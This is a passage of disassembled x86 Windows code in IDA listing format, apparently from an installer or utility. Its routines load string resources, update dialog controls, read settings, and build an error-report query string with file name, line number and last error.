		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4051A0(int,LPCSTR lpMem,LPCWSTR lpString,int,UINT uID,char arglist)

sub_4051A0	proc near		; CODE XREF: sub_405C90+4E6p

Text		= byte ptr -630h
String		= byte ptr -230h
var_30		= dword	ptr -30h
bstrString	= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_2		= byte ptr -2
arg_0		= dword	ptr  8
lpMem		= dword	ptr  0Ch
lpString	= dword	ptr  10h
arg_C		= dword	ptr  14h
uID		= dword	ptr  18h
arglist		= byte ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 630h
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+uID]
		push	ebx
		push	esi
		mov	eax, [eax+1Ch]
		push	edi
		lea	ecx, [ebp+String]
		push	200h		; cchBufferMax
		push	ecx		; lpBuffer
		xor	ebx, ebx
		push	edx		; uID
		push	eax		; hInstance
		mov	[ebp+bstrString], ebx
		mov	[ebp+var_28], ebx
		mov	[ebp+var_24], ebx
		mov	[ebp+var_20], bl
		mov	[ebp+var_2], bl
		call	ds:LoadStringA	; LoadStringA
		mov	edi, ds:SysFreeString
		mov	esi, eax
		mov	eax, [ebp+bstrString]
		push	eax		; bstrString
		call	edi ; SysFreeString
		cmp	esi, ebx
		mov	ebx, ds:lstrlenA
		jz	short loc_405253
		lea	ecx, [ebp+String]
		test	ecx, ecx
		jnz	short loc_40520A
		xor	eax, eax
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+bstrString], eax
		jmp	short loc_40525A
; ---------------------------------------------------------------------------


loc_40520A:				; CODE XREF: sub_4051A0+5Aj
		lea	edx, [ebp+String]
		push	edx		; lpString
		call	ebx ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	edi, esp
		push	esi		; cchWideChar
		push	edi		; lpWideCharStr
		lea	eax, [ebp+String]
		push	0FFFFFFFFh	; cbMultiByte
		push	eax		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	word ptr [edi],	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	eax, edi
		mov	edi, ds:SysFreeString
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+bstrString], eax
		jmp	short loc_40525A
; ---------------------------------------------------------------------------


loc_405253:				; CODE XREF: sub_4051A0+50j
		mov	[ebp+bstrString], 0


loc_40525A:				; CODE XREF: sub_4051A0+68j
					; sub_4051A0+B1j
		lea	ecx, [ebp+arglist]
		push	ecx		; arglist
		lea	ecx, [ebp+bstrString]
		call	sub_40A2D0
		lea	edx, [ebp+Text]
		push	eax		; LPCSTR
		push	edx		; LPSTR
		call	ds:wvsprintfA	; wvsprintfA
		mov	esi, [ebp+arg_0]
		lea	ecx, [ebp+String]
		push	200h		; cchBufferMax
		push	ecx		; lpBuffer
		mov	eax, [esi+1Ch]
		push	1FAh		; uID
		push	eax		; hInstance
		call	ds:LoadStringA	; LoadStringA
		mov	edx, [ebp+bstrString]
		mov	[ebp+var_30], eax
		push	edx		; bstrString
		call	edi ; SysFreeString
		mov	ecx, [ebp+var_30]
		xor	eax, eax
		cmp	ecx, eax
		jz	short loc_4052F5
		lea	ecx, [ebp+String]
		test	ecx, ecx
		jz	short loc_4052EE
		lea	edx, [ebp+String]
		push	edx		; lpString
		call	ebx ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	edi, esp
		push	esi		; cchWideChar
		push	edi		; lpWideCharStr
		lea	eax, [ebp+String]
		push	0FFFFFFFFh	; cbMultiByte
		push	eax		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	word ptr [edi],	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	esi, [ebp+arg_0]
		mov	eax, edi
		mov	edi, ds:SysFreeString


loc_4052EE:				; CODE XREF: sub_4051A0+10Cj
		push	eax		; psz
		call	ds:SysAllocString


loc_4052F5:				; CODE XREF: sub_4051A0+102j
		lea	ecx, [ebp+bstrString]
		mov	[ebp+bstrString], eax
		call	sub_40A2D0
		mov	edx, [esi+4]
		push	10h		; uType
		lea	ecx, [ebp+Text]
		push	eax		; lpCaption
		push	ecx		; lpText
		push	edx		; hWnd
		call	ds:MessageBoxA	; MessageBoxA
		mov	eax, [ebp+bstrString]
		push	eax		; bstrString
		call	edi ; SysFreeString
		mov	esi, [esi+1Ch]
		lea	ecx, [ebp+String]
		push	200h		; cchBufferMax
		push	ecx		; lpBuffer
		push	74h		; uID
		push	esi		; hInstance
		mov	[ebp+bstrString], 0
		call	ds:LoadStringA	; LoadStringA
		mov	edx, [ebp+bstrString]
		mov	esi, eax
		push	edx		; bstrString
		call	edi ; SysFreeString
		xor	eax, eax
		cmp	esi, eax
		jz	short loc_405383
		lea	ecx, [ebp+String]
		test	ecx, ecx
		jz	short loc_40537C
		lea	edx, [ebp+String]
		push	edx		; lpString
		call	ebx ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, esp
		push	0		; CodePage
		lea	ecx, [ebp+String]
		push	esi		; cchWideChar
		push	ecx		; lpMultiByteStr
		push	eax		; lpWideCharStr
		call	sub_401560


loc_40537C:				; CODE XREF: sub_4051A0+1AFj
		push	eax		; psz
		call	ds:SysAllocString


loc_405383:				; CODE XREF: sub_4051A0+1A5j
		push	3Fh
		lea	ecx, [ebp+bstrString]
		mov	[ebp+bstrString], eax
		call	sub_40A2D0
		push	eax
		call	sub_40B1B0
		add	esp, 8
		mov	edi, offset String ; "?"
		test	eax, eax
		jz	short loc_4053A7
		mov	edi, offset asc_40F3F8 ; "&"


loc_4053A7:				; CODE XREF: sub_4051A0+200j
		test	edi, edi
		jnz	short loc_4053AF
		xor	esi, esi
		jmp	short loc_4053D0
; ---------------------------------------------------------------------------


loc_4053AF:				; CODE XREF: sub_4051A0+209j
		push	edi		; lpString
		call	ebx ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, esp
		push	0		; CodePage
		push	esi		; cchWideChar
		push	edi		; lpMultiByteStr
		push	eax		; lpWideCharStr
		call	sub_401560
		mov	esi, eax


loc_4053D0:				; CODE XREF: sub_4051A0+20Dj
		mov	edi, ds:lstrlenW
		push	esi		; lpString
		call	edi ; lstrlenW
		push	eax
		push	esi
		lea	ecx, [ebp+bstrString]
		call	sub_403920
		mov	edx, offset aErrorFatalFile ; "error=fatal&filename="
		test	edx, edx
		jnz	short loc_4053F0
		xor	esi, esi
		jmp	short loc_405419
; ---------------------------------------------------------------------------


loc_4053F0:				; CODE XREF: sub_4051A0+24Aj
		push	offset aErrorFatalFile ; "error=fatal&filename="
		call	ebx ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, esp
		push	0		; CodePage
		push	esi		; cchWideChar
		push	offset aErrorFatalFile ; "error=fatal&filename="
		push	eax		; lpWideCharStr
		call	sub_401560
		mov	esi, eax


loc_405419:				; CODE XREF: sub_4051A0+24Ej
		push	esi		; lpString
		call	edi ; lstrlenW
		push	eax
		push	esi
		lea	ecx, [ebp+bstrString]
		call	sub_403920
		mov	eax, [ebp+lpMem]
		lea	ecx, [ebp+bstrString]
		push	eax		; lpMem
		call	sub_40AA70
		mov	ecx, offset aLinenumber	; "&linenumber="
		test	ecx, ecx
		jnz	short loc_40543F
		xor	esi, esi
		jmp	short loc_405468
; ---------------------------------------------------------------------------


loc_40543F:				; CODE XREF: sub_4051A0+299j
		push	offset aLinenumber ; "&linenumber="
		call	ebx ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, esp
		push	0		; CodePage
		push	esi		; cchWideChar
		push	offset aLinenumber ; "&linenumber="
		push	eax		; lpWideCharStr
		call	sub_401560
		mov	esi, eax


loc_405468:				; CODE XREF: sub_4051A0+29Dj
		push	esi		; lpString
		call	edi ; lstrlenW
		push	eax
		push	esi
		lea	ecx, [ebp+bstrString]
		call	sub_403920
		mov	edx, [ebp+lpString]
		lea	ecx, [ebp+bstrString]
		push	edx		; lpString
		call	sub_40A980
		mov	eax, offset aLasterror ; "&lasterror="
		test	eax, eax
		jnz	short loc_40548E
		xor	esi, esi
		jmp	short loc_4054B7
; ---------------------------------------------------------------------------


loc_40548E:				; CODE XREF: sub_4051A0+2E8j
		push	offset aLasterror ; "&lasterror="
		call	ebx ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, esp
		push	0		; CodePage
		push	esi		; cchWideChar
		push	offset aLasterror ; "&lasterror="
		push	eax		; lpWideCharStr
		call	sub_401560
		mov	esi, eax


loc_4054B7:				; CODE XREF: sub_4051A0+2ECj
		push	esi		; lpString
		call	edi ; lstrlenW
		push	eax
		push	esi
		lea	ecx, [ebp+bstrString]
		call	sub_403920
		mov	ecx, [ebp+arg_C]
		push	ecx		; lpString
		lea	ecx, [ebp+bstrString]
		call	sub_40A980
		lea	ecx, [ebp+bstrString]
		call	sub_40A2D0
		mov	esi, [ebp+arg_0]
		push	eax		; lpFile
		mov	ecx, esi
		call	sub_404FF0
		mov	ecx, esi
		call	sub_405180
		lea	ecx, [ebp+bstrString]
		call	sub_4042F0
		lea	esp, [ebp-63Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4051A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_405500(LPCSTR lParam)

sub_405500	proc near		; CODE XREF: sub_4055A0+90p
					; sub_405640+2Ap

lParam		= dword	ptr  4

		mov	eax, dword_40FBD4
		push	ebx
		push	esi
		mov	esi, ecx
		test	eax, eax
		jnz	short loc_405522
		push	1400h		; dwBytes
		call	sub_40AF50
		mov	dword_40FBD4, eax
		add	esp, 4
		mov	byte ptr [eax],	0


loc_405522:				; CODE XREF: sub_405500+Bj
		mov	eax, dword_40FBD4
		mov	ebx, [esp+8+lParam]
		push	eax		; lpString2
		push	ebx		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jz	short loc_40558D
		mov	ecx, [esi+4]
		push	edi
		mov	edi, ds:SendDlgItemMessageA
		push	ebx		; lParam
		push	0		; wParam
		push	180h		; Msg
		push	0CCh		; nIDDlgItem
		push	ecx		; hDlg
		call	edi ; SendDlgItemMessageA
		mov	edx, [esi+4]
		push	0		; lParam
		push	0		; wParam
		push	18Bh		; Msg
		push	0CCh		; nIDDlgItem
		push	edx		; hDlg
		call	edi ; SendDlgItemMessageA
		dec	eax
		push	0		; lParam
		push	eax		; wParam
		mov	eax, [esi+4]
		push	186h		; Msg
		push	0CCh		; nIDDlgItem
		push	eax		; hDlg
		call	edi ; SendDlgItemMessageA
		mov	ecx, dword_40FBD4
		push	1400h		; iMaxLength
		push	ebx		; lpString2
		push	ecx		; lpString1
		call	ds:lstrcpynA	; lstrcpynA
		pop	edi


loc_40558D:				; CODE XREF: sub_405500+35j
		pop	esi
		pop	ebx
		retn	4
sub_405500	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_4055A0(int,UINT uID,char arglist)

sub_4055A0	proc near		; CODE XREF: sub_406670+1Dp
					; sub_406720+A2p ...

Buffer		= byte ptr -800h
lParam		= byte ptr -400h
arg_0		= dword	ptr  4
uID		= dword	ptr  8
arglist		= byte ptr  0Ch

		mov	ecx, [esp+uID]
		sub	esp, 800h
		lea	eax, [esp+800h+Buffer]
		push	esi
		mov	esi, [esp+804h+arg_0]
		push	400h		; cchBufferMax
		push	eax		; lpBuffer
		mov	edx, [esi+1Ch]
		push	ecx		; uID
		push	edx		; hInstance
		call	ds:LoadStringA	; LoadStringA
		test	eax, eax
		mov	eax, [esp+804h+uID]
		jnz	short loc_4055E8
		push	eax
		lea	ecx, [esp+808h+Buffer]
		push	offset aResourceLdNotF ; "resource %ld not found"
		push	ecx		; LPSTR
		call	ds:wsprintfA	; wsprintfA
		add	esp, 0Ch
		jmp	short loc_405626
; ---------------------------------------------------------------------------


loc_4055E8:				; CODE XREF: sub_4055A0+30j
		cmp	eax, 12Bh
		jnz	short loc_40560B
		mov	edx, [esi+50h]
		lea	eax, [esp+804h+Buffer]
		push	edx
		lea	ecx, [esp+808h+lParam]
		push	eax		; LPCSTR
		push	ecx		; LPSTR
		call	ds:wsprintfA	; wsprintfA
		add	esp, 0Ch
		jmp	short loc_405626
; ---------------------------------------------------------------------------


loc_40560B:				; CODE XREF: sub_4055A0+4Dj
		lea	edx, [esp+804h+arglist]
		lea	eax, [esp+804h+Buffer]
		push	edx		; arglist
		lea	ecx, [esp+808h+lParam]
		push	eax		; LPCSTR
		push	ecx		; LPSTR
		call	ds:wvsprintfA	; wvsprintfA


loc_405626:				; CODE XREF: sub_4055A0+46j
					; sub_4055A0+69j
		lea	edx, [esp+804h+lParam]
		mov	ecx, esi
		push	edx		; lParam
		call	sub_405500
		pop	esi
		add	esp, 800h
		retn
sub_4055A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_405640(int,LPCSTR,char arglist)

sub_405640	proc near		; CODE XREF: sub_406670+61p
					; sub_406720+1E9p ...

lParam		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arglist		= byte ptr  0Ch

		mov	ecx, [esp+arg_4]
		sub	esp, 400h
		lea	eax, [esp+400h+arglist]
		lea	edx, [esp+400h+lParam]
		push	eax		; arglist
		push	ecx		; LPCSTR
		push	edx		; LPSTR
		call	ds:wvsprintfA	; wvsprintfA
		mov	ecx, [esp+400h+arg_0]
		lea	eax, [esp+400h+lParam]
		push	eax		; lParam
		call	sub_405500
		add	esp, 400h
		retn
sub_405640	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_405680(int nIDDlgItem,UINT uID)

sub_405680	proc near		; CODE XREF: sub_405C90+3DEp
					; sub_405C90+3ECp ...

String		= byte ptr -230h
bstrString	= dword	ptr -30h
lpMem		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_6		= byte ptr -6
var_4		= dword	ptr -4
nIDDlgItem	= dword	ptr  8
uID		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 230h
		mov	edx, [ebp+uID]
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+String]
		mov	eax, [esi+1Ch]
		push	200h		; cchBufferMax
		push	ecx		; lpBuffer
		xor	ebx, ebx
		push	edx		; uID
		push	eax		; hInstance
		mov	[ebp+var_4], esi
		mov	[ebp+bstrString], ebx
		mov	[ebp+lpMem], ebx
		mov	[ebp+var_28], ebx
		mov	[ebp+var_24], bl
		mov	[ebp+var_6], bl
		call	ds:LoadStringA	; LoadStringA
		mov	edi, eax
		mov	eax, [ebp+bstrString]
		push	eax		; bstrString
		call	ds:SysFreeString
		cmp	edi, ebx
		jz	loc_40576D
		lea	ecx, [ebp+String]
		test	ecx, ecx
		jnz	short loc_4056DE
		xor	edi, edi
		jmp	short loc_405716
; ---------------------------------------------------------------------------


loc_4056DE:				; CODE XREF: sub_405680+58j
		lea	edx, [ebp+String]
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	edi, esp
		push	esi		; cchWideChar
		push	edi		; lpWideCharStr
		lea	eax, [ebp+String]
		push	0FFFFFFFFh	; cbMultiByte
		push	eax		; lpMultiByteStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		mov	[edi], bx
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	esi, [ebp+var_4]


loc_405716:				; CODE XREF: sub_405680+5Cj
		push	edi		; psz
		call	ds:SysAllocString
		lea	ecx, [ebp+bstrString]
		mov	[ebp+bstrString], eax
		call	sub_40A2D0
		mov	edx, [ebp+nIDDlgItem]
		push	eax		; lpString
		mov	eax, [esi+4]
		push	edx		; nIDDlgItem
		push	eax		; hDlg
		call	ds:SetDlgItemTextA	; SetDlgItemTextA
		cmp	eax, 1
		mov	eax, [ebp+lpMem]
		setz	byte ptr [ebp+uID+3]
		cmp	eax, ebx
		jz	short loc_405751
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+lpMem], ebx


loc_405751:				; CODE XREF: sub_405680+C3j
		mov	ecx, [ebp+bstrString]
		push	ecx		; bstrString
		call	ds:SysFreeString
		mov	al, byte ptr [ebp+uID+3]
		lea	esp, [ebp-23Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------


loc_40576D:				; CODE XREF: sub_405680+4Aj
		mov	eax, [ebp+lpMem]
		mov	[ebp+bstrString], ebx
		cmp	eax, ebx
		jz	short loc_405783
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+lpMem], ebx


loc_405783:				; CODE XREF: sub_405680+F5j
		mov	ecx, [ebp+bstrString]
		push	ecx		; bstrString
		call	ds:SysFreeString
		lea	esp, [ebp-23Ch]
		xor	al, al
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_405680	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_4057A0(int nIDDlgItem,LPCSTR lpString)

sub_4057A0	proc near		; CODE XREF: sub_405C90+73Cp

nIDDlgItem	= dword	ptr  4
lpString	= dword	ptr  8

		mov	eax, [esp+lpString]
		test	eax, eax
		jnz	short loc_4057AD
		xor	al, al
		retn	8
; ---------------------------------------------------------------------------


loc_4057AD:				; CODE XREF: sub_4057A0+6j
		mov	ecx, [ecx+4]
		push	eax		; lpString
		mov	eax, [esp+4+nIDDlgItem]
		push	eax		; nIDDlgItem
		push	ecx		; hDlg
		call	ds:SetDlgItemTextA	; SetDlgItemTextA
		cmp	eax, 1
		setz	al
		retn	8
sub_4057A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4057D0	proc near		; CODE XREF: sub_405830+11Ep
					; sub_405830+13Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [esi+1Ch]
		push	79h		; uID
		push	eax		; hInstance
		mov	ecx, edi
		call	sub_409450
		mov	ecx, [esi+1Ch]
		push	66h		; uID
		push	ecx		; hInstance
		push	1		; int
		mov	ecx, edi
		call	sub_4092D0
		mov	edx, [esi+1Ch]
		push	67h		; uID
		push	edx		; hInstance
		push	2		; int
		mov	ecx, edi
		call	sub_4092D0
		mov	eax, [esi+1Ch]
		push	68h		; uID
		push	eax		; hInstance
		push	1		; int
		mov	ecx, edi
		call	sub_409310
		mov	ecx, [esi+1Ch]
		push	69h		; uID
		push	ecx		; hInstance
		push	2		; int
		mov	ecx, edi
		call	sub_409310
		push	0
		mov	ecx, edi
		call	sub_409410
		pop	edi
		pop	esi
		retn	4
sub_4057D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405830	proc near		; CODE XREF: sub_405C90+245p

psz		= byte ptr -28Ch
var_8C		= dword	ptr -8Ch
var_60		= dword	ptr -60h
lpMem		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_36		= byte ptr -36h
bstrString	= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_A		= byte ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	ecx, [ebp+psz]
		push	200h		; cchBufferMax
		mov	eax, [edi+1Ch]
		push	ecx		; lpBuffer
		xor	ebx, ebx
		push	71h		; uID
		push	eax		; hInstance
		mov	[ebp+var_4], edi
		mov	[ebp+bstrString], ebx
		mov	[ebp+var_30], ebx
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], bl
		mov	[ebp+var_A], bl
		call	ds:LoadStringA	; LoadStringA
		mov	edx, [ebp+bstrString]
		mov	esi, eax
		push	edx		; bstrString
		call	ds:SysFreeString
		cmp	esi, ebx
		jz	short loc_4058D6
		lea	eax, [ebp+psz]
		test	eax, eax
		jnz	short loc_405890
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+bstrString], eax
		jmp	short loc_4058D9
; ---------------------------------------------------------------------------


loc_405890:				; CODE XREF: sub_405830+52j
		lea	ecx, [ebp+psz]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	edi, esp
		push	esi		; cchWideChar
		push	edi		; lpWideCharStr
		lea	edx, [ebp+psz]
		push	0FFFFFFFFh	; cbMultiByte
		push	edx		; lpMultiByteStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		mov	[edi], bx
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	eax, edi
		mov	edi, [ebp+var_4]
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+bstrString], eax
		jmp	short loc_4058D9
; ---------------------------------------------------------------------------


loc_4058D6:				; CODE XREF: sub_405830+48j
		mov	[ebp+bstrString], ebx


loc_4058D9:				; CODE XREF: sub_405830+5Ej
					; sub_405830+A4j
		mov	eax, offset MultiByteStr ; "\\"
		test	eax, eax
		jnz	short loc_4058E6
		xor	esi, esi
		jmp	short loc_405912
; ---------------------------------------------------------------------------


loc_4058E6:				; CODE XREF: sub_405830+B0j
		push	offset MultiByteStr ; "\\"
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, esp
		push	ebx		; CodePage
		push	esi		; cchWideChar
		push	offset MultiByteStr ; "\\"
		push	eax		; lpWideCharStr
		call	sub_401560
		mov	esi, eax


loc_405912:				; CODE XREF: sub_405830+B4j
		push	esi		; lpString
		call	ds:lstrlenW	; lstrlenW
		push	eax
		push	esi
		lea	ecx, [ebp+bstrString]
		call	sub_403920
		mov	ecx, [edi+1Ch]
		push	7Ah		; bstrString
		push	ecx		; hInstance
		lea	ecx, [ebp+bstrString]
		call	sub_40A840
		lea	ecx, [ebp+bstrString]
		add	edi, 20h
		call	sub_40A2D0
		push	eax		; phkResult
		mov	ecx, edi	; int
		call	sub_408FC0
		test	al, al
		jnz	short loc_405958
		mov	esi, [ebp+var_4]
		push	edi
		mov	ecx, esi
		call	sub_4057D0
		jmp	loc_405A75
; ---------------------------------------------------------------------------


loc_405958:				; CODE XREF: sub_405830+116j
		lea	ecx, [ebp+var_8C] ; int
		call	sub_408BE0
		mov	esi, [ebp+var_4]
		lea	edx, [ebp+var_8C]
		push	edx
		mov	ecx, esi
		call	sub_4057D0
		push	edi
		lea	ecx, [ebp+var_8C]
		call	sub_408CC0
		test	al, al
		jz	loc_405A59
		mov	eax, [esi+1Ch]
		lea	ecx, [ebp+psz]
		push	200h		; cchBufferMax
		push	ecx		; lpBuffer
		push	72h		; uID
		push	eax		; hInstance
		mov	[ebp+var_60], ebx
		mov	[ebp+lpMem], ebx
		mov	[ebp+var_58], ebx
		mov	[ebp+var_54], bl
		mov	[ebp+var_36], bl
		call	ds:LoadStringA	; LoadStringA
		mov	edx, [ebp+var_60]
		mov	esi, eax
		push	edx		; bstrString
		call	ds:SysFreeString
		cmp	esi, ebx
		jz	short loc_405A1C
		lea	eax, [ebp+psz]
		test	eax, eax
		jnz	short loc_4059D5
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+var_60], eax
		jmp	short loc_405A1F
; ---------------------------------------------------------------------------


loc_4059D5:				; CODE XREF: sub_405830+197j
		lea	ecx, [ebp+psz]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, esp
		push	esi		; cchWideChar
		push	eax		; lpWideCharStr
		lea	edx, [ebp+psz]
		push	0FFFFFFFFh	; cbMultiByte
		push	edx		; lpMultiByteStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		mov	[ebp+var_8], eax
		mov	[eax], bx
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	eax, [ebp+var_8]
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+var_60], eax
		jmp	short loc_405A1F
; ---------------------------------------------------------------------------


loc_405A1C:				; CODE XREF: sub_405830+18Dj
		mov	[ebp+var_60], ebx


loc_405A1F:				; CODE XREF: sub_405830+1A3j
					; sub_405830+1EAj
		push	0Ah
		push	ebx
		lea	ecx, [ebp+var_60]
		call	sub_40A2D0
		push	eax
		call	sub_40B26C
		add	esp, 0Ch
		mov	ecx, edi
		call	sub_409420
		mov	eax, [ebp+lpMem]
		cmp	eax, ebx
		jz	short loc_405A4D
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+lpMem], ebx


loc_405A4D:				; CODE XREF: sub_405830+20Fj
		mov	eax, [ebp+var_60]
		push	eax		; bstrString
		call	ds:SysFreeString
		jmp	short loc_405A67
; ---------------------------------------------------------------------------


loc_405A59:				; CODE XREF: sub_405830+152j
		lea	ecx, [ebp+var_8C]
		push	ecx		; int
		mov	ecx, edi	; int
		call	sub_408D50


loc_405A67:				; CODE XREF: sub_405830+227j
		lea	ecx, [ebp+var_8C]
		call	sub_408C20
		mov	esi, [ebp+var_4]


loc_405A75:				; CODE XREF: sub_405830+123j
		mov	edx, [esi+1Ch]
		push	6Eh		; uID
		push	edx		; hInstance
		mov	ecx, edi
		call	sub_4093B0
		push	1
		mov	ecx, edi
		call	sub_4092F0
		mov	ecx, dword_40FBC8
		push	eax		; lpString2
		call	sub_409C70
		push	1
		mov	ecx, edi
		call	sub_409330
		mov	ecx, dword_40FBC8
		push	eax		; lpString2
		call	sub_409C90
		mov	ecx, dword_40FBC8
		push	offset dword_40FBD8 ; lpString2
		call	sub_409C20
		push	1
		mov	ecx, edi
		call	sub_409370
		mov	ecx, dword_40FBC8
		push	eax		; lpString2
		call	sub_409C40
		mov	eax, [ebp+bstrString]
		push	eax		; bstrString
		call	ds:SysFreeString
		mov	eax, [esi+1Ch]
		lea	ecx, [ebp+psz]
		push	200h		; cchBufferMax
		push	ecx		; lpBuffer
		push	77h		; uID
		push	eax		; hInstance
		mov	[ebp+bstrString], ebx
		call	ds:LoadStringA	; LoadStringA
		mov	edx, [ebp+bstrString]
		mov	edi, eax
		push	edx		; bstrString
		call	ds:SysFreeString
		cmp	edi, ebx
		jz	short loc_405B62
		lea	eax, [ebp+psz]
		test	eax, eax
		jnz	short loc_405B1E
		xor	edi, edi
		push	edi		; psz
		call	ds:SysAllocString
		mov	[ebp+bstrString], eax
		jmp	short loc_405B65
; ---------------------------------------------------------------------------


loc_405B1E:				; CODE XREF: sub_405830+2DEj
		lea	ecx, [ebp+psz]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	edi, esp
		push	esi		; cchWideChar
		push	edi		; lpWideCharStr
		lea	edx, [ebp+psz]
		push	0FFFFFFFFh	; cbMultiByte
		push	edx		; lpMultiByteStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		mov	[edi], bx
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	esi, [ebp+var_4]
		push	edi		; psz
		call	ds:SysAllocString
		mov	[ebp+bstrString], eax
		jmp	short loc_405B65
; ---------------------------------------------------------------------------


loc_405B62:				; CODE XREF: sub_405830+2D4j
		mov	[ebp+bstrString], ebx


loc_405B65:				; CODE XREF: sub_405830+2ECj
					; sub_405830+330j
		lea	ecx, [ebp+bstrString]
		call	sub_40A2D0
		mov	edi, eax
		push	edi		; lpString
		call	ds:lstrlenA	; lstrlenA
		cmp	eax, ebx
		jbe	short loc_405B83
		cmp	byte ptr [edi],	31h
		jnz	short loc_405B83
		mov	cl, 1
		jmp	short loc_405B85
; ---------------------------------------------------------------------------


loc_405B83:				; CODE XREF: sub_405830+348j
					; sub_405830+34Dj
		xor	cl, cl


loc_405B85:				; CODE XREF: sub_405830+351j
		cmp	eax, 1
		mov	[esi+4Ch], cl
		jbe	short loc_405B97
		cmp	byte ptr [edi+1], 31h
		jnz	short loc_405B97
		mov	al, 1
		jmp	short loc_405B99
; ---------------------------------------------------------------------------


loc_405B97:				; CODE XREF: sub_405830+35Bj
					; sub_405830+361j
		xor	al, al


loc_405B99:				; CODE XREF: sub_405830+365j
		mov	[esi+4Dh], al
		mov	eax, [ebp+var_30]
		cmp	eax, ebx
		jz	short loc_405BAF
		push	eax		; lpMem
		call	sub_40AF10
